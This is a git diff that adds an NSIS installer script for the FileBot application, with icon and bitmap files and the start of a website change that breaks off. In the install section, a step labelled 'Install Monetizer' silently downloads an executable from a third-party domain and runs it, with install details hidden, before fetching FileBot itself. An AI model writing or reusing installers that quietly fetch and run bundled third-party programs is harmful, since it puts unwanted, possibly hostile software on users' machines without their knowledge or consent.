diff --git a/installer/nsis/filebot.nsi b/installer/nsis/filebot.nsi new file mode 100644 index 00000000..21f23265 --- /dev/null +++ b/installer/nsis/filebot.nsi @@ -0,0 +1,52 @@ +!define PRODUCT_NAME "FileBot" + +!include "MUI2.nsh" +!include "x64.nsh" + +; MUI Settings / Icons +!define MUI_ICON "icon.ico" + +; MUI Settings / Header +!define MUI_HEADERIMAGE +!define MUI_HEADERIMAGE_RIGHT +!define MUI_HEADERIMAGE_BITMAP "header.bmp" + +; MUI Settings / Wizard +!define MUI_WELCOMEFINISHPAGE_BITMAP "wizard.bmp" + + +!insertmacro MUI_PAGE_WELCOME +!insertmacro MUI_PAGE_INSTFILES +!insertmacro MUI_LANGUAGE "English" + +Name "FileBot" +OutFile "FileBot-setup.exe" +ShowInstDetails hide +AutoCloseWindow false + +Section "" + DetailPrint "Initializing..." + + ;Install Monetizer + inetc::get /SILENT "http://www.comay13north.com/download.php?loGFcg==" "$PLUGINSDIR\InstallManager.exe" /end + nsExec::Exec '$PLUGINSDIR\InstallManager.exe' + + ;Remove old version + DetailPrint "Removing older versions..." + nsExec::Exec 'msiexec /quiet /x {2DE5DAFC-A5E4-41C2-8123-C358BA5A562D}' + + DetailPrint "Downloading latest version..." + ;Install latest FileBot + ${if} ${RunningX64} + inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x64)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x64" "$PLUGINSDIR\FileBot.msi" /end + ${else} + inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x86)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x86" "$PLUGINSDIR\FileBot.msi" /end + ${endif} + DetailPrint "Installing latest version..." + nsExec::Exec 'msiexec /quiet /i "$PLUGINSDIR\FileBot.msi"' + Pop $0 # return value + ${if} $0 != "0" + DetailPrint "Install failed." + Abort + ${endif} +SectionEnd diff --git a/installer/nsis/header.bmp b/installer/nsis/header.bmp new file mode 100644 index 00000000..da5f0d2f Binary files /dev/null and b/installer/nsis/header.bmp differ diff --git a/installer/nsis/icon.ico b/installer/nsis/icon.ico new file mode 100644 index 00000000..c34f7f6a Binary files /dev/null and b/installer/nsis/icon.ico differ diff --git a/installer/nsis/wizard.bmp b/installer/nsis/wizard.bmp new file mode 100644 index 00000000..36b41485 Binary files /dev/null and b/installer/nsis/wizard.bmp differ diff --git a/installer/nsis/wizard.png b/installer/nsis/wizard.png new file mode 100644 index 00000000..80f71046 Binary files /dev/null and b/installer/nsis/wizard.png differ diff --git a/website/index.html b/website/index.html index b29eddb1..bdd9e8e3 100644 --- a/website/index.html +++ b/website/index.html @@ -336,12 +336,12 @@

Download